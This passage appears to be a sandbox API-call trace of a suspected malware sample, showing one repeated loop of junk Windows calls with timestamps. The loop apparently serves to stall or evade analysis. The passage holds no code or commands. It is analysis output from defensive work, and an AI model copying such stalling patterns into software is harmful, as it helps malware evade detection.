returned 0x26 [0053.049] AddAtomA (lpString=0x0) returned 0x0 [0053.049] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.049] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.049] AddAtomA (lpString=0x0) returned 0x0 [0053.049] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.049] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.049] AddAtomA (lpString=0x0) returned 0x0 [0053.049] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.049] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.049] AddAtomA (lpString=0x0) returned 0x0 [0053.049] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.049] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.049] AddAtomA (lpString=0x0) returned 0x0 [0053.050] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.050] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.050] AddAtomA (lpString=0x0) returned 0x0 [0053.050] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.050] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.050] AddAtomA (lpString=0x0) returned 0x0 [0053.050] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.050] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.050] AddAtomA (lpString=0x0) returned 0x0 [0053.050] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.050] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.050] AddAtomA (lpString=0x0) returned 0x0 [0053.050] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.050] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.050] AddAtomA (lpString=0x0) returned 0x0 [0053.050] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.050] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.050] AddAtomA (lpString=0x0) returned 0x0 [0053.050] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.050] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.050] AddAtomA (lpString=0x0) returned 0x0 [0053.050] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.050] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.050] AddAtomA (lpString=0x0) returned 0x0 [0053.050] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.050] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.050] AddAtomA (lpString=0x0) returned 0x0 [0053.050] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.050] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.050] AddAtomA (lpString=0x0) returned 0x0 [0053.050] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.050] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.050] AddAtomA (lpString=0x0) returned 0x0 [0053.051] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.051] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.051] AddAtomA (lpString=0x0) returned 0x0 [0053.051] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.051] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.051] AddAtomA (lpString=0x0) returned 0x0 [0053.051] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.051] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.051] AddAtomA (lpString=0x0) returned 0x0 [0053.051] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.051] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.051] AddAtomA (lpString=0x0) returned 0x0 [0053.051] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.051] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.051] AddAtomA (lpString=0x0) returned 0x0 [0053.051] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.051] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.051] AddAtomA (lpString=0x0) returned 0x0 [0053.051] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.051] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.051] AddAtomA (lpString=0x0) returned 0x0 [0053.051] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.051] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.051] AddAtomA (lpString=0x0) returned 0x0 [0053.051] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.051] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.051] AddAtomA (lpString=0x0) returned 0x0 [0053.051] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.051] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.051] AddAtomA (lpString=0x0) returned 0x0 [0053.051] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.051] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.051] AddAtomA (lpString=0x0) returned 0x0 [0053.052] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.052] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.052] AddAtomA (lpString=0x0) returned 0x0 [0053.052] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.052] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.052] AddAtomA (lpString=0x0) returned 0x0 [0053.052] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.052] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.052] AddAtomA (lpString=0x0) returned 0x0 [0053.052] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.052] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.052] AddAtomA (lpString=0x0) returned 0x0 [0053.052] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.052] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.052] AddAtomA (lpString=0x0) returned 0x0 [0053.052] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.052] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.052] AddAtomA (lpString=0x0) returned 0x0 [0053.052] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.052] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.052] AddAtomA (lpString=0x0) returned 0x0 [0053.052] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.052] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.052] AddAtomA (lpString=0x0) returned 0x0 [0053.052] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.052] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.052] AddAtomA (lpString=0x0) returned 0x0 [0053.052] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.052] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.052] AddAtomA (lpString=0x0) returned 0x0 [0053.052] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.052] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.052] AddAtomA (lpString=0x0) returned 0x0 [0053.052] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.053] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.053] AddAtomA (lpString=0x0) returned 0x0 [0053.053] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.053] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.053] AddAtomA (lpString=0x0) returned 0x0 [0053.053] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.053] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.053] AddAtomA (lpString=0x0) returned 0x0 [0053.053] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.053] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.053] AddAtomA (lpString=0x0) returned 0x0 [0053.053] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.053] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.053] AddAtomA (lpString=0x0) returned 0x0 [0053.053] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.053] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.053] AddAtomA (lpString=0x0) returned 0x0 [0053.053] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.053] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.053] AddAtomA (lpString=0x0) returned 0x0 [0053.053] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.053] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.053] AddAtomA (lpString=0x0) returned 0x0 [0053.053] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.053] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.053] AddAtomA (lpString=0x0) returned 0x0 [0053.053] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.053] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.053] AddAtomA (lpString=0x0) returned 0x0 [0053.053] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.053] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.053] AddAtomA (lpString=0x0) returned 0x0 [0053.053] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.053] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.053] AddAtomA (lpString=0x0) returned 0x0 [0053.054] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.054] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.054] AddAtomA (lpString=0x0) returned 0x0 [0053.054] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.054] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.054] AddAtomA (lpString=0x0) returned 0x0 [0053.054] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.054] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.054] AddAtomA (lpString=0x0) returned 0x0 [0053.054] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.054] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.054] AddAtomA (lpString=0x0) returned 0x0 [0053.054] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.054] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.054] AddAtomA (lpString=0x0) returned 0x0 [0053.054] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.054] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.054] AddAtomA (lpString=0x0) returned 0x0 [0053.054] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.054] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.054] AddAtomA (lpString=0x0) returned 0x0 [0053.054] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.054] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.054] AddAtomA (lpString=0x0) returned 0x0 [0053.054] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.054] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.054] AddAtomA (lpString=0x0) returned 0x0 [0053.054] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.054] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.054] AddAtomA (lpString=0x0) returned 0x0 [0053.054] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.054] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.054] AddAtomA (lpString=0x0) returned 0x0 [0053.055] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.055] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.055] AddAtomA (lpString=0x0) returned 0x0 [0053.055] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.055] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.055] AddAtomA (lpString=0x0) returned 0x0 [0053.055] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.055] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.055] AddAtomA (lpString=0x0) returned 0x0 [0053.055] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.055] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.055] AddAtomA (lpString=0x0) returned 0x0 [0053.055] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.055] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.055] AddAtomA (lpString=0x0) returned 0x0 [0053.055] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.055] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.055] AddAtomA (lpString=0x0) returned 0x0 [0053.055] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.055] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.055] AddAtomA (lpString=0x0) returned 0x0 [0053.055] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.055] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.055] AddAtomA (lpString=0x0) returned 0x0 [0053.055] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.055] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.055] AddAtomA (lpString=0x0) returned 0x0 [0053.055] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.055] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.055] AddAtomA (lpString=0x0) returned 0x0 [0053.055] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.055] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.056] AddAtomA (lpString=0x0) returned 0x0 [0053.056] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.056] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.056] AddAtomA (lpString=0x0) returned 0x0 [0053.056] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.056] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.056] AddAtomA (lpString=0x0) returned 0x0 [0053.056] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.056] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.056] AddAtomA (lpString=0x0) returned 0x0 [0053.056] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.056] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.056] AddAtomA (lpString=0x0) returned 0x0 [0053.056] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.056] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.056] AddAtomA (lpString=0x0) returned 0x0 [0053.056] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.056] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.056] AddAtomA (lpString=0x0) returned 0x0 [0053.056] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.056] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.056] AddAtomA (lpString=0x0) returned 0x0 [0053.056] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.056] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.056] AddAtomA (lpString=0x0) returned 0x0 [0053.056] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.056] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.056] AddAtomA (lpString=0x0) returned 0x0 [0053.056] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.056] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.056] AddAtomA (lpString=0x0) returned 0x0 [0053.056] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.056] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.056] AddAtomA (lpString=0x0) returned 0x0 [0053.057] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.057] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.057] AddAtomA (lpString=0x0) returned 0x0 [0053.057] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.057] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.057] AddAtomA (lpString=0x0) returned 0x0 [0053.057] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.057] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.057] AddAtomA (lpString=0x0) returned 0x0 [0053.057] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.057] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.057] AddAtomA (lpString=0x0) returned 0x0 [0053.057] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.057] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.057] AddAtomA (lpString=0x0) returned 0x0 [0053.057] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.057] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.057] AddAtomA (lpString=0x0) returned 0x0 [0053.057] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.057] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.057] AddAtomA (lpString=0x0) returned 0x0 [0053.057] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.057] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.057] AddAtomA (lpString=0x0) returned 0x0 [0053.057] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.057] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.057] AddAtomA (lpString=0x0) returned 0x0 [0053.057] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.057] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.057] AddAtomA (lpString=0x0) returned 0x0 [0053.057] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.057] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.057] AddAtomA (lpString=0x0) returned 0x0 [0053.057] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.058] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.058] AddAtomA (lpString=0x0) returned 0x0 [0053.058] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.058] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.058] AddAtomA (lpString=0x0) returned 0x0 [0053.058] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.058] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.058] AddAtomA (lpString=0x0) returned 0x0 [0053.058] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.058] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.058] AddAtomA (lpString=0x0) returned 0x0 [0053.058] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.058] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.058] AddAtomA (lpString=0x0) returned 0x0 [0053.058] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.058] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.058] AddAtomA (lpString=0x0) returned 0x0 [0053.058] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.058] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.058] AddAtomA (lpString=0x0) returned 0x0 [0053.058] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.058] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.058] AddAtomA (lpString=0x0) returned 0x0 [0053.058] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.058] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.058] AddAtomA (lpString=0x0) returned 0x0 [0053.058] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.058] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.058] AddAtomA (lpString=0x0) returned 0x0 [0053.058] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.058] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.058] AddAtomA (lpString=0x0) returned 0x0 [0053.058] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.059] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.059] AddAtomA (lpString=0x0) returned 0x0 [0053.059] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.059] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.059] AddAtomA (lpString=0x0) returned 0x0 [0053.059] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.059] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.059] AddAtomA (lpString=0x0) returned 0x0 [0053.059] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.059] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.059] AddAtomA (lpString=0x0) returned 0x0 [0053.059] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.059] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.059] AddAtomA (lpString=0x0) returned 0x0 [0053.059] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.059] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.059] AddAtomA (lpString=0x0) returned 0x0 [0053.059] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.059] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.059] AddAtomA (lpString=0x0) returned 0x0 [0053.059] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.059] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: 